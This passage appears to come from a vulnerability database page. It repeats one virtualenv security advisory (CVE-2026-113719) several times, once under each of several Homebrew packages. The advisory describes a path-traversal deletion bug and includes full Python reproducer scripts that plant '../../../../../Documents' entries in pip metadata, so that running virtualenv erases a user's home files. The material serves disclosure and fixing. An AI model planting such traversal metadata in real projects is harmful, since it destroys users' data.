unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "hatch",
"purl": "pkg:brew/hatch"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.6.2"
},
{
"introduced": "1.9.3"
},
{
"fixed": "1.18.1_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-hatch-CVE-2026-113719",
"modified": "2026-10-27T19:28:04Z",
"published": "2026-10-27T19:28:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
BREW-NOX-CVE-2026-113719 (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:50 – Updated: 2026-10-27 03:25 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "nox",
"purl": "pkg:brew/nox"
},
"ranges": [
{
"events": [
{
"introduced": "2021.10.1"
},
{
"fixed": "2022.8.7_1"
},
{
"introduced": "2023.4.22_1"
},
{
"fixed": "2026.10.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-nox-CVE-2026-113719",
"modified": "2026-10-27T03:25:42Z",
"published": "2026-10-26T09:50:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
BREW-PIPENV-CVE-2026-113719 (GHSA-HHXQ-47XX-J5XX)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:13 – Updated: 2026-10-27 03:25 – Source website
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
References
| URL | Type | |||||||||||||||||||
